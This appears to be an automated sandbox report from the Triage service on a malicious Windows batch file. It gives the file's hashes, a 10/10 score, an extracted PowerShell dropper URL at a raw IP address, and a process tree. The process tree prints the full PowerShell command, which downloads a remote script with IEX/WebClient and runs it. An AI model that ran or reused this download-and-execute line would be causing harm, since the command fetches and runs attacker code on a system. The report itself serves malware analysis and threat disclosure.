efb6eff4932c6a31030f3eff665d0228d063c0fc37fb274278e9ceb7e55f2fe8 | Triage

Analysis

max time kernel
141s
max time network
68s
platform
windows10_x64
resource
win10v200430
submitted
23-05-2020 16:10

Sharing

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General

Target

aa924bdd41c78914cf9c258c5b04d440.bat
Size

217B
MD5

73b18c7ea72367714adfa391d407d44b
SHA1

936cfb5cb7073a9e298eed93720a1e73b88b50b8
SHA256

efb6eff4932c6a31030f3eff665d0228d063c0fc37fb274278e9ceb7e55f2fe8
SHA512

60a9438888dc461e3c90e4df597bbe9420c700f1df7a62ede10b1e44a595336c948b4ec520a4589bc1f2f542d5c6e1b3388f55fead8501b40d843f3dbe3d3c98

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/aa924bdd41c78914cf9c258c5b04d440

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

824 440 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 824 WerFault.exe
Token: SeBackupPrivilege 824 WerFault.exe
Token: SeDebugPrivilege 824 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
824	WerFault.exe
824	WerFault.exe
824	WerFault.exe
824	WerFault.exe
824	WerFault.exe
824	WerFault.exe
824	WerFault.exe
824	WerFault.exe
824	WerFault.exe
824	WerFault.exe
824	WerFault.exe
824	WerFault.exe
824	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\aa924bdd41c78914cf9c258c5b04d440.bat"
1⤵
PID:4004

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/aa924bdd41c78914cf9c258c5b04d440');Invoke-JYKVBWWUMA;Start-Sleep -s 10000"
2⤵
PID:440

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 440 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:824

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/824-0-0x0000000004440000-0x0000000004441000-memory.dmp

Filesize
4KB

Download
memory/824-1-0x0000000004440000-0x0000000004441000-memory.dmp

Filesize
4KB

Download
memory/824-3-0x0000000004440000-0x0000000004441000-memory.dmp

Filesize
4KB

Download
memory/824-5-0x0000000004830000-0x0000000004831000-memory.dmp

Filesize
4KB

Download
memory/824-42-0x0000000004C30000-0x0000000004C31000-memory.dmp

Filesize
4KB

Download